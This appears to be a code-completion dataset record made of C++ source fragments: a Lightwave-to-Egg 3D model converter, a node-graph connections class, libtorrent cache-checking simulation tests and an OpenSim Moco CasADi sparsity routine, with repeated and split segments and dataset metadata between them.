(chunk->is_of_type(LwoLayer::get_class_type())) { const LwoLayer *lwo_layer = DCAST(LwoLayer, chunk); CLwoLayer *layer = new CLwoLayer(this, lwo_layer); int number = layer->get_number(); slot_layer(number); if (_layers[number] != (CLwoLayer *)NULL) { nout << "Warning: multiple layers with number " << number << "\n"; } _layers[number] = layer; last_layer = layer; last_points = (CLwoPoints *)NULL; last_polygons = (CLwoPolygons *)NULL; } else if (chunk->is_of_type(LwoClip::get_class_type())) { const LwoClip *lwo_clip = DCAST(LwoClip, chunk); CLwoClip *clip = new CLwoClip(this, lwo_clip); int index = clip->get_index(); slot_clip(index); if (_clips[index] != (CLwoClip *)NULL) { nout << "Warning: multiple clips with index " << index << "\n"; } _clips[index] = clip; } else if (chunk->is_of_type(LwoPoints::get_class_type())) { if (last_layer == (CLwoLayer *)NULL) { last_layer = make_generic_layer(); } const LwoPoints *lwo_points = DCAST(LwoPoints, chunk); CLwoPoints *points = new CLwoPoints(this, lwo_points, last_layer); _points.push_back(points); last_points = points; } else if (chunk->is_of_type(LwoVertexMap::get_class_type())) { if (last_points == (CLwoPoints *)NULL) { nout << "Vertex map chunk encountered without a preceding points chunk.\n"; } else { const LwoVertexMap *lwo_vmap = DCAST(LwoVertexMap, chunk); last_points->add_vmap(lwo_vmap); } } else if (chunk->is_of_type(LwoDiscontinuousVertexMap::get_class_type())) { if (last_polygons == (CLwoPolygons *)NULL) { nout << "Discontinous vertex map chunk encountered without a preceding polygons chunk.\n"; } else { const LwoDiscontinuousVertexMap *lwo_vmad = DCAST(LwoDiscontinuousVertexMap, chunk); last_polygons->add_vmad(lwo_vmad); } } else if (chunk->is_of_type(LwoTags::get_class_type())) { tags = DCAST(LwoTags, chunk); } else if (chunk->is_of_type(LwoPolygons::get_class_type())) { if (last_points == (CLwoPoints *)NULL) { nout << "Polygon chunk encountered without a preceding points chunk.\n"; } else { const LwoPolygons *lwo_polygons = DCAST(LwoPolygons, chunk); CLwoPolygons *polygons = new CLwoPolygons(this, lwo_polygons, last_points); _polygons.push_back(polygons); last_polygons = polygons; } } else if (chunk->is_of_type(LwoPolygonTags::get_class_type())) { if (last_polygons == (CLwoPolygons *)NULL) { nout << "Polygon tags chunk encountered without a preceding polygons chunk.\n"; } else if (tags == (LwoTags *)NULL) { nout << "Polygon tags chunk encountered without a preceding tags chunk.\n"; } else { const LwoPolygonTags *lwo_ptags = DCAST(LwoPolygonTags, chunk); last_polygons->add_ptags(lwo_ptags, tags); } } else if (chunk->is_of_type(LwoSurface::get_class_type())) { if (last_layer == (CLwoLayer *)NULL) { last_layer = make_generic_layer(); } const LwoSurface *lwo_surface = DCAST(LwoSurface, chunk); CLwoSurface *surface = new CLwoSurface(this, lwo_surface); bool inserted = _surfaces.insert(Surfaces::value_type(surface->get_name(), surface)).second; if (!inserted) { nout << "Multiple surface definitions named " << surface->get_name() << "\n"; delete surface; } } } } void LwoToEggConverter:: make_egg() { if (_generic_layer != (CLwoLayer *)NULL) { _generic_layer->make_egg(); } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *)NULL) { layer->make_egg(); } } Points::iterator pi; for (pi = _points.begin(); pi != _points.end(); ++pi) { CLwoPoints *points = (*pi); points->make_egg(); } Polygons::iterator gi; for (gi = _polygons.begin(); gi != _polygons.end(); ++gi) { CLwoPolygons *polygons = (*gi); polygons->make_egg(); } } void LwoToEggConverter:: connect_egg() { if (_generic_layer != (CLwoLayer *)NULL) { _generic_layer->connect_egg(); } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *)NULL) { layer->connect_egg(); } } Points::iterator pi; for (pi = _points.begin(); pi != _points.end(); ++pi) { CLwoPoints *points = (*pi); points->connect_egg(); } Polygons::iterator gi; for (gi = _polygons.begin(); gi != _polygons.end(); ++gi) { CLwoPolygons *polygons = (*gi); polygons->connect_egg(); } } void LwoToEggConverter:: slot_layer(int number) { nassertv(number - (int)_layers.size() < 1000); while (number >= (int)_layers.size()) { _layers.push_back((CLwoLayer *)NULL); } nassertv(number >= 0 && number < (int)_layers.size()); } void LwoToEggConverter:: slot_clip(int number) { nassertv(number - (int)_clips.size() < 1000); while (number >= (int)_clips.size()) { _clips.push_back((CLwoClip *)NULL); } nassertv(number >= 0 && number < (int)_clips.size()); } CLwoLayer *LwoToEggConverter:: make_generic_layer() { nassertr(_generic_layer == (CLwoLayer *)NULL, _generic_layer); PT(LwoLayer) layer = new LwoLayer; layer->make_generic(); _generic_layer = new CLwoLayer(this, layer); return _generic_layer; }
#include "lwoToEggConverter.h" #include "cLwoLayer.h" #include "cLwoClip.h" #include "cLwoPoints.h" #include "cLwoPolygons.h" #include "cLwoSurface.h" #include "eggData.h" #include "lwoHeader.h" #include "lwoLayer.h" #include "lwoClip.h" #include "lwoPoints.h" #include "lwoPolygons.h" #include "lwoVertexMap.h" #include "lwoDiscontinuousVertexMap.h" #include "lwoTags.h" #include "lwoPolygonTags.h" #include "lwoInputFile.h" #include "dcast.h" LwoToEggConverter:: LwoToEggConverter() { _generic_layer = (CLwoLayer *)NULL; _make_materials = true; } LwoToEggConverter:: LwoToEggConverter(const LwoToEggConverter &copy) : SomethingToEggConverter(copy) { } LwoToEggConverter:: ~LwoToEggConverter() { cleanup(); } SomethingToEggConverter *LwoToEggConverter:: make_copy() { return new LwoToEggConverter(*this); } string LwoToEggConverter:: get_name() const { return "Lightwave"; } string LwoToEggConverter:: get_extension() const { return "lwo"; } bool LwoToEggConverter:: supports_compressed() const { return true; } bool LwoToEggConverter:: convert_file(const Filename &filename) { LwoInputFile in; nout << "Reading " << filename << "\n"; if (!in.open_read(filename)) { nout << "Unable to open " << filename << "\n"; return false; } PT(IffChunk) chunk = in.get_chunk(); if (chunk == (IffChunk *)NULL) { nout << "Unable to read " << filename << "\n"; return false; } if (!chunk->is_of_type(LwoHeader::get_class_type())) { nout << "File " << filename << " is not a Lightwave Object file.\n"; return false; } LwoHeader *header = DCAST(LwoHeader, chunk); if (!header->is_valid()) { nout << "File " << filename << " is not recognized as a Lightwave Object file. " << "Perhaps the version is too recent.\n"; return false; } return convert_lwo(header); } bool LwoToEggConverter:: convert_lwo(const LwoHeader *lwo_header) { if (_egg_data->get_coordinate_system() == CS_default) { _egg_data->set_coordinate_system(CS_yup_left); } _error = false; _lwo_header = lwo_header; collect_lwo(); make_egg(); connect_egg(); _egg_data->remove_unused_vertices(true); cleanup(); return !had_error(); } CLwoLayer *LwoToEggConverter:: get_layer(int number) const { if (number >= 0 && number < (int)_layers.size()) { return _layers[number]; } return (CLwoLayer *)NULL; } CLwoClip *LwoToEggConverter:: get_clip(int number) const { if (number >= 0 && number < (int)_clips.size()) { return _clips[number]; } return (CLwoClip *)NULL; } CLwoSurface *LwoToEggConverter::
void LwoToEggConverter:: cleanup() { _lwo_header.clear(); if (_generic_layer != (CLwoLayer *)NULL) { delete _generic_layer; _generic_layer = (CLwoLayer *)NULL; } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *)NULL) { delete layer; } } _layers.clear(); Clips::iterator ci; for (ci = _clips.begin(); ci != _clips.end(); ++ci) { CLwoClip *clip = (*ci); if (clip != (CLwoClip *)NULL) { delete clip; } } _clips.clear(); Points::iterator pi; for (pi = _points.begin(); pi != _points.end(); ++pi) { CLwoPoints *points = (*pi); delete points; } _points.clear(); Polygons::iterator gi; for (gi = _polygons.begin(); gi != _polygons.end(); ++gi) { CLwoPolygons *polygons = (*gi); delete polygons; } _polygons.clear(); Surfaces::iterator si; for (si = _surfaces.begin(); si != _surfaces.end(); ++si) { CLwoSurface *surface = (*si).second; delete surface; } _surfaces.clear(); } void LwoToEggConverter:: collect_lwo() { CLwoLayer *last_layer = (CLwoLayer *)NULL; CLwoPoints *last_points = (CLwoPoints *)NULL; CLwoPolygons *last_polygons = (CLwoPolygons *)NULL; const LwoTags *tags = (const LwoTags *)NULL; int num_chunks = _lwo_header->get_num_chunks(); for (int i = 0; i < num_chunks; i++) { const IffChunk *chunk = _lwo_header->get_chunk(i); if (chunk->is_of_type(LwoLayer::get_class_type())) { const LwoLayer *lwo_layer = DCAST(LwoLayer, chunk); CLwoLayer *layer = new CLwoLayer(this, lwo_layer); int number = layer->get_number(); slot_layer(number); if (_layers[number] != (CLwoLayer *)NULL) { nout << "Warning: multiple layers with number " << number << "\n"; } _layers[number] = layer; last_layer = layer; last_points = (CLwoPoints *)NULL; last_polygons = (CLwoPolygons *)NULL; } else if (chunk->is_of_type(LwoClip::get_class_type())) { const LwoClip *lwo_clip = DCAST(LwoClip, chunk); CLwoClip *clip = new CLwoClip(this, lwo_clip); int index = clip->get_index(); slot_clip(index); if (_clips[index] != (CLwoClip *)NULL) { nout << "Warning: multiple clips with index " << index << "\n"; } _clips[index] = clip; } else if (chunk->is_of_type(LwoPoints::get_class_type())) { if (last_layer == (CLwoLayer *)NULL) { last_layer = make_generic_layer(); } const LwoPoints *lwo_points = DCAST(LwoPoints, chunk); CLwoPoints *points = new CLwoPoints(this, lwo_points, last_layer); _points.push_back(points); last_points = points; } else if (chunk->is_of_type(LwoVertexMap::get_class_type())) { if (last_points == (CLwoPoints *)NULL) { nout << "Vertex map chunk encountered without a preceding points chunk.\n"; } else { const LwoVertexMap *lwo_vmap = DCAST(LwoVertexMap, chunk); last_points->add_vmap(lwo_vmap); } } else if (chunk->is_of_type(LwoDiscontinuousVertexMap::get_class_type())) { if (last_polygons == (CLwoPolygons *)NULL) { nout << "Discontinous vertex map chunk encountered without a preceding polygons chunk.\n"; } else { const LwoDiscontinuousVertexMap *lwo_vmad = DCAST(LwoDiscontinuousVertexMap, chunk); last_polygons->add_vmad(lwo_vmad); } } else if (chunk->is_of_type(LwoTags::get_class_type())) { tags = DCAST(LwoTags, chunk); } else if (chunk->is_of_type(LwoPolygons::get_class_type())) { if (last_points == (CLwoPoints *)NULL) { nout << "Polygon chunk encountered without a preceding points chunk.\n"; } else { const LwoPolygons *lwo_polygons = DCAST(LwoPolygons, chunk); CLwoPolygons *polygons = new CLwoPolygons(this, lwo_polygons, last_points); _polygons.push_back(polygons); last_polygons = polygons; } } else if (chunk->is_of_type(LwoPolygonTags::get_class_type())) { if (last_polygons == (CLwoPolygons *)NULL) { nout << "Polygon tags chunk encountered without a preceding polygons chunk.\n"; } else if (tags == (LwoTags *)NULL) { nout << "Polygon tags chunk encountered without a preceding tags chunk.\n"; } else { const LwoPolygonTags *lwo_ptags = DCAST(LwoPolygonTags, chunk); last_polygons->add_ptags(lwo_ptags, tags); } } else if (chunk->is_of_type(LwoSurface::get_class_type())) { if (last_layer == (CLwoLayer *)NULL) { last_layer = make_generic_layer(); } const LwoSurface *lwo_surface = DCAST(LwoSurface, chunk); CLwoSurface *surface = new CLwoSurface(this, lwo_surface); bool inserted = _surfaces.insert(Surfaces::value_type(surface->get_name(), surface)).second; if (!inserted) { nout << "Multiple surface definitions named " << surface->get_name() << "\n"; delete surface; } } } } void LwoToEggConverter:: make_egg() { if (_generic_layer != (CLwoLayer *)NULL) { _generic_layer->make_egg(); } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *)NULL) { layer->make_egg(); } } Points::iterator pi; for (pi = _points.begin(); pi != _points.end(); ++pi) { CLwoPoints *points = (*pi); points->make_egg(); } Polygons::iterator gi; for (gi = _polygons.begin(); gi != _polygons.end(); ++gi) { CLwoPolygons *polygons = (*gi); polygons->make_egg(); } } void LwoToEggConverter:: connect_egg() { if (_generic_layer != (CLwoLayer *)NULL) { _generic_layer->connect_egg(); } Layers::iterator li; for (li = _layers.begin(); li != _layers.end(); ++li) { CLwoLayer *layer = (*li); if (layer != (CLwoLayer *)NULL) { layer->connect_egg(); } } Points::iterator pi; for (pi = _points.begin(); pi != _points.end(); ++pi) { CLwoPoints *points = (*pi); points->connect_egg(); } Polygons::iterator gi; for (gi = _polygons.begin(); gi != _polygons.end(); ++gi) { CLwoPolygons *polygons = (*gi); polygons->connect_egg(); } } void LwoToEggConverter:: slot_layer(int number) { nassertv(number - (int)_layers.size() < 1000); while (number >= (int)_layers.size()) { _layers.push_back((CLwoLayer *)NULL); } nassertv(number >= 0 && number < (int)_layers.size()); } void LwoToEggConverter:: slot_clip(int number) { nassertv(number - (int)_clips.size() < 1000); while (number >= (int)_clips.size()) { _clips.push_back((CLwoClip *)NULL); } nassertv(number >= 0 && number < (int)_clips.size()); } CLwoLayer *LwoToEggConverter:: make_generic_layer() { nassertr(_generic_layer == (CLwoLayer *)NULL, _generic_layer); PT(LwoLayer) layer = new LwoLayer; layer->make_generic(); _generic_layer = new CLwoLayer(this, layer); return _generic_layer; }
get_surface(const string &name) const { Surfaces::const_iterator si; si = _surfaces.find(name); if (si != _surfaces.end()) { return (*si).second; } return (CLwoSurface *)NULL; }
function_block-function_prefix_line
[ { "content": "class XFileDataObjectString : public XFileDataObject {\n\npublic:\n\n XFileDataObjectString(const XFileDataDef *data_def, const string &value);\n\n\n\n virtual void output_data(ostream &out) const;\n\n virtual void write_data(ostream &out, int indent_level,\n\n const ch...
C++
src/libs/dependency_graph/connections.cpp
martin-pr/possumwood
0ee3e0fe13ef27cf14795a79fb497e4d700bef63
#include "connections.h" #include "graph.h" #include "port.h" namespace dependency_graph { Connections::PortId Connections::getId(const Port& p) const { return Connections::PortId{p.node().index(), p.index()}; } const Port& Connections::getPort(const Connections::PortId& id) const { return m_parent->nodes()[id.nodeIndex].port(id.portIndex); } Port& Connections::getPort(const Connections::PortId& id) { return m_parent->nodes()[id.nodeIndex].port(id.portIndex); } Connections::Connections(Network* parent) : m_parent(parent) { } void Connections::add(Port& src, Port& dest) { if(src.category() != Attr::kOutput) throw std::runtime_error("Attempting to connect an input as the origin of a connection."); if(dest.category() != Attr::kInput) throw std::runtime_error("Attempting to connect an output as the target of a connection."); m_connections.left.insert(std::make_pair(getId(src), getId(dest))); m_parent->graph().connected(src, dest); } void Connections::remove(Port& src, Port& dest) { if(src.category() != Attr::kOutput) throw std::runtime_error("Attempting to connect an input as the origin of a connection."); if(dest.category() != Attr::kInput) throw std::runtime_error("Attempting to connect an output as the target of a connection."); auto it = m_connections.right.find(getId(dest)); if((it == m_connections.right.end()) || (it->second != getId(src))) throw std::runtime_error("Attempting to remove a non-existing connection."); m_parent->graph().disconnected(src, dest); m_connections.right.erase(it); } bool Connections::isConnected(const NodeBase& n) const { for(auto& c : m_connections.left) if(c.first.nodeIndex == n.index() || c.second.nodeIndex == n.index()) return true; return false; } boost::optional<const Port&> Connections::connectedFrom(const Port& p) const { auto it = m_connections.right.lower_bound(getId(p)); if((it == m_connections.right.end()) || (it->first != getId(p))) return boost::optional<const Port&>(); else { assert(m_connections.right.count(getId(p)) == 1); return getPort(it->second); } } std::vector<std::reference_wrapper<const Port>> Connections::connectedTo(const Port& p) const { auto it1 = m_connections.left.lower_bound(getId(p)); auto it2 = m_connections.left.upper_bound(getId(p)); std::vector<std::reference_wrapper<const Port>> result; for(auto it = it1; it != it2; ++it) result.push_back(std::cref(getPort(it->second))); return result; } boost::optional<Port&> Connections::connectedFrom(Port& p) { if(p.category() != Attr::kInput) throw std::runtime_error("Connected From request can be only run on input ports."); auto it = m_connections.right.lower_bound(getId(p)); if((it == m_connections.right.end()) || (it->first != getId(p))) return boost::optional<Port&>(); else { assert(m_connections.right.count(getId(p)) == 1); return getPort(it->second); } } std::vector<std::reference_wrapper<Port>> Connections::connectedTo(Port& p) { if(p.category() != Attr::kOutput) throw std::runtime_error("Connected To request can be only run on output ports."); auto it1 = m_connections.left.lower_bound(getId(p)); auto it2 = m_connections.left.upper_bound(getId(p)); std::vector<std::reference_wrapper<Port>> result; for(auto it = it1; it != it2; ++it) result.push_back(std::ref(getPort(it->second))); return result; } size_t Connections::size() const { return m_connections.size(); } bool Connections::empty() const { return m_connections.empty(); } const std::pair<const Port&, const Port&> Connections::convert( const Connections::connections_container::left_value_type& val) const { const Port& left = getPort(val.first); const Port& right = getPort(val.second); return std::pair<const Port&, const Port&>(left, right); } const std::pair<Port&, Port&> Connections::convertConst( const Connections::connections_container::left_value_type& val) { Port& left = getPort(val.first); Port& right = getPort(val.second); return std::pair<Port&, Port&>(left, right); } Connections::const_iterator Connections::begin() const { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convert(val); }; return const_iterator(m_connections.left.begin(), fn); } Connections::const_iterator Connections::end() const { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convert(val); }; return const_iterator(m_connections.left.end(), fn); } Connections::iterator Connections::begin() { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convertConst(val); }; return iterator(m_connections.left.begin(), fn); } Connections::iterator Connections::end() { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convertConst(val); }; return iterator(m_connections.left.end(), fn); } }
#include "connections.h" #include "graph.h" #include "port.h" namespace dependency_graph { Connections::PortId Connections::getId(const Port& p) const { return Connections::PortId{p.node().index(), p.index()}; } const Port& Connections::getPort(const Connections::PortId& id) const { return m_parent->nodes()[id.nodeIndex].port(id.portIndex); } Port& Connections::getPort(const Connections::PortId& id) { return m_parent->nodes()[id.nodeIndex].port(id.portIndex); } Connections::Connections(Network* parent) : m_parent(parent) { } void Connections::add(Port& src, Port& dest) { if(src.category() != Attr::kOutput) throw std::runtime_error("Attempting to connect an input as the origin of a connection."); if(dest.category() != Attr::kInput) throw std::runtime_error("Attempting to connect an output as the target of a connection."); m_connections.left.insert(std::make_pair(getId(src), getId(dest))); m_parent->graph().connected(src, dest); } void Connections::remove(Port& src, Port& dest) { if(src.category() != Attr::kOutput) throw std::runtime_error("Attempting to connect an input as the origin of a connection."); if(dest.category() != Attr::kInput) throw std::runtime_error("Attempting to connect an output as the target of a connection."); auto it = m_connections.right.find(getId(dest)); if((it == m_connections.right.end()) || (it->second != getId(src))) throw std::runtime_error("Attempting to remove a non-existing connection."); m_parent->graph().disconnected(src, dest); m_connections.right.erase(it); } bool Connections::isConnected(const NodeBase& n) const { for(auto& c : m_connections.left) if(c.first.nodeIndex == n.index() || c.second.nodeIndex == n.index())
first); const Port& right = getPort(val.second); return std::pair<const Port&, const Port&>(left, right); } const std::pair<Port&, Port&> Connections::convertConst( const Connections::connections_container::left_value_type& val) { Port& left = getPort(val.first); Port& right = getPort(val.second); return std::pair<Port&, Port&>(left, right); } Connections::const_iterator Connections::begin() const { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convert(val); }; return const_iterator(m_connections.left.begin(), fn); } Connections::const_iterator Connections::end() const { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convert(val); }; return const_iterator(m_connections.left.end(), fn); } Connections::iterator Connections::begin() { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convertConst(val); }; return iterator(m_connections.left.begin(), fn); } Connections::iterator Connections::end() { auto fn = [this](const Connections::connections_container::left_value_type& val) { return convertConst(val); }; return iterator(m_connections.left.end(), fn); } }
return true; return false; } boost::optional<const Port&> Connections::connectedFrom(const Port& p) const { auto it = m_connections.right.lower_bound(getId(p)); if((it == m_connections.right.end()) || (it->first != getId(p))) return boost::optional<const Port&>(); else { assert(m_connections.right.count(getId(p)) == 1); return getPort(it->second); } } std::vector<std::reference_wrapper<const Port>> Connections::connectedTo(const Port& p) const { auto it1 = m_connections.left.lower_bound(getId(p)); auto it2 = m_connections.left.upper_bound(getId(p)); std::vector<std::reference_wrapper<const Port>> result; for(auto it = it1; it != it2; ++it) result.push_back(std::cref(getPort(it->second))); return result; } boost::optional<Port&> Connections::connectedFrom(Port& p) { if(p.category() != Attr::kInput) throw std::runtime_error("Connected From request can be only run on input ports."); auto it = m_connections.right.lower_bound(getId(p)); if((it == m_connections.right.end()) || (it->first != getId(p))) return boost::optional<Port&>(); else { assert(m_connections.right.count(getId(p)) == 1); return getPort(it->second); } } std::vector<std::reference_wrapper<Port>> Connections::connectedTo(Port& p) { if(p.category() != Attr::kOutput) throw std::runtime_error("Connected To request can be only run on output ports."); auto it1 = m_connections.left.lower_bound(getId(p)); auto it2 = m_connections.left.upper_bound(getId(p)); std::vector<std::reference_wrapper<Port>> result; for(auto it = it1; it != it2; ++it) result.push_back(std::ref(getPort(it->second))); return result; } size_t Connections::size() const { return m_connections.size(); } bool Connections::empty() const { return m_connections.empty(); } const std::pair<const Port&, const Port&> Connections::convert( const Connections::connections_container::left_value_type& val) const { const Port& left = getPort(val.
random
[ { "content": "class Port;\n", "file_path": "src/libs/dependency_graph/connections.h", "rank": 0, "score": 168972.74826270746 }, { "content": "class Port;\n\n\n", "file_path": "src/libs/qt_node_editor/connected_edge.h", "rank": 1, "score": 162377.06828544452 }, { "content"...
C++
simulation/test_checking.cpp
teddywest32/libtorrent
1dd0e9b280f01750d5e204cca475bd06d30540c4
#include "libtorrent/session.hpp" #include "libtorrent/deadline_timer.hpp" #include "libtorrent/address.hpp" #include "libtorrent/torrent_status.hpp" #include "simulator/simulator.hpp" #include "simulator/utils.hpp" #include "test.hpp" #include "settings.hpp" #include "create_torrent.hpp" #include "utils.hpp" template <typename Setup, typename Test> void run_test(Setup const& setup, Test const& test) { lt::add_torrent_params atp = create_torrent(0, true); sim::default_config network_cfg; sim::simulation sim{network_cfg}; auto ios = std::unique_ptr<sim::asio::io_service>(new sim::asio::io_service( sim, lt::address_v4::from_string("50.0.0.1"))); lt::session_proxy zombie; lt::settings_pack pack = settings(); setup(atp, pack); auto ses = std::make_shared<lt::session>(pack, *ios); ses->async_add_torrent(atp); print_alerts(*ses); sim::timer t(sim, lt::seconds(6), [&](boost::system::error_code const&) { test(*ses); zombie = ses->abort(); ses.reset(); }); sim.run(); } TORRENT_TEST(cache_after_checking) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 100); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_CHECK(cache > 0); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_no_cache) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 0); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_EQUAL(cache, 0); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_limit_volatile) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 300); p.set_int(lt::settings_pack::cache_size_volatile, 2); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_EQUAL(cache, 2); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_volatile_limit_cache_size) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 10); p.set_int(lt::settings_pack::cache_size_volatile, 300); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_CHECK(cache > 0); TEST_CHECK(cache <= 10); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); }
#include "libtorrent/session.hpp" #include "libtorrent/deadline_timer.hpp" #include "libtorrent/address.hpp" #include "libtorrent/torrent_status.hpp" #include "simulator/simulator.hpp" #include "simulator/utils.hpp" #include "test.hpp" #include "settings.hpp" #include "create_torrent.hpp" #include "utils.hpp" template <typename Setup, typename Test> void run_test(Setup const& setup, Test const& test) { lt::add_torrent_params atp = create_torrent(0, true); sim::default_config network_cfg; sim::simulation sim{network_cfg}; auto ios = std::unique_ptr<sim::asio::io_service>(new sim::asio::io_service( sim, lt::address_v4::from_string("50.0.0.1"))); lt::session_proxy zombie; lt::settings_pack pack = settings(); setup(atp, pack); auto ses = std::make_shared<lt::session>(pack, *ios); ses->async_add_torrent(atp); print_alerts(*ses); sim::timer t(sim, lt::seconds(6), [&](boost::system::error_code const&) { test(*ses); zombie = ses->abort(); ses.reset(); }); sim.run(); } TORRENT_TEST(cache_after_checking) { run_test( [](lt::add_torrent_params&
TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_volatile_limit_cache_size) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 10); p.set_int(lt::settings_pack::cache_size_volatile, 300); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_CHECK(cache > 0); TEST_CHECK(cache <= 10); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); }
atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 100); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_CHECK(cache > 0); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_no_cache) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 0); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_EQUAL(cache, 0); std::vector<lt::torrent_handle> tor = ses.get_torrents(); TEST_EQUAL(tor.size(), 1); TEST_EQUAL(tor[0].status().is_seeding, true); }); } TORRENT_TEST(checking_limit_volatile) { run_test( [](lt::add_torrent_params& atp, lt::settings_pack& p) { atp.flags |= lt::add_torrent_params::flag_auto_managed; p.set_int(lt::settings_pack::cache_size, 300); p.set_int(lt::settings_pack::cache_size_volatile, 2); }, [](lt::session& ses) { int const cache = get_cache_size(ses); TEST_EQUAL(cache, 2); std::vector<lt::torrent_handle> tor = ses.get_torrents();
random
[ { "content": "\tbencode(std::back_inserter(out), e);\n\n\tTEST_EQUAL(out, \"d21:max_out_request_queuei1337ee\");\n\n}\n\n\n\nTORRENT_TEST(sparse_pack)\n\n{\n\n\tsettings_pack pack;\n\n\tTEST_EQUAL(pack.has_val(settings_pack::send_redundant_have), false);\n\n\n\n\tpack.set_bool(settings_pack::send_redundant_have...
C++
OpenSim/Moco/MocoCasADiSolver/CasOCFunction.cpp
MariaHammer/opensim-core_HaeufleMuscle
96257e9449d9ac430bbb54e56cd13aaebeee1242
#include "CasOCFunction.h" #include "CasOCProblem.h" using namespace CasOC; casadi::Sparsity calcJacobianSparsityWithPerturbation(const VectorDM& x0s, int numOutputs, std::function<void(const casadi::DM&, casadi::DM&)> function) { OPENSIM_THROW_IF(x0s.size() < 1, OpenSim::Exception, "x0s must have at least 1 element."); using casadi::DM; using casadi::Sparsity; using std::isnan; auto sparsityForSingleX0 = [&](const casadi::DM& x0) { OPENSIM_THROW_IF(x0.columns() != 1, OpenSim::Exception, "x0 must have exactly 1 column."); Sparsity sparsity(numOutputs, x0.numel()); double eps = 1e-5; DM x = x0; DM output0(numOutputs, 1); function(x, output0); DM output(numOutputs, 1); DM diff(numOutputs, 1); for (int j = 0; j < x0.numel(); ++j) { output = 0; x(j) += eps; function(x, output); x(j) = x0(j); diff = output - output0; for (int i = 0; i < (int)numOutputs; ++i) { if (std::isnan(diff(i).scalar())) { std::cout << "[CasOC] Warning: NaN encountered when " "detecting sparsity of Jacobian; entry ("; std::cout << i << ", " << j; std::cout << ")." << std::endl; sparsity.add_nz(i, j); } if (diff(i).scalar() != 0) sparsity.add_nz(i, j); } diff = 0; } return sparsity; }; Sparsity combinedSparsity(numOutputs, x0s[0].numel()); for (const auto& x0 : x0s) { OPENSIM_THROW_IF(x0.numel() != x0s[0].numel(), OpenSim::Exception, "x0s contains vectors of different sizes."); combinedSparsity = combinedSparsity + sparsityForSingleX0(x0); } return combinedSparsity; } casadi::Sparsity Function::get_jacobian_sparsity() const { using casadi::DM; using casadi::Slice; auto function = [this](const casadi::DM& x, casadi::DM& y) { std::vector<casadi::DM> in(this->n_in()); { int offset = 0; for (int iin = 0; iin < this->n_in(); ++iin) { OPENSIM_THROW_IF(this->size2_in(iin) != 1, OpenSim::Exception, "Internal error."); const auto size = this->size1_in(iin); in[iin] = x(Slice(offset, offset + size)); offset += size; } } std::vector<casadi::DM> out = this->eval(in); y = casadi::DM::veccat(out); }; const VectorDM x0s = getSubsetPointsForSparsityDetection(); return calcJacobianSparsityWithPerturbation( x0s, (int)this->nnz_out(), function); } void Function::constructFunction(const Problem* casProblem, const std::string& name, const std::string& finiteDiffScheme, std::shared_ptr<const std::vector<VariablesDM>> pointsForSparsityDetection) { m_casProblem = casProblem; m_finite_difference_scheme = finiteDiffScheme; m_fullPointsForSparsityDetection = pointsForSparsityDetection; casadi::Dict opts; setCommonOptions(opts); this->construct(name, opts); } casadi::Sparsity Function::get_sparsity_in(casadi_int i) { if (i == 0) { return casadi::Sparsity::dense(1, 1); } else if (i == 1) { return casadi::Sparsity::dense(m_casProblem->getNumStates(), 1); } else if (i == 2) { return casadi::Sparsity::dense(m_casProblem->getNumControls(), 1); } else if (i == 3) { return casadi::Sparsity::dense(m_casProblem->getNumMultipliers(), 1); } else if (i == 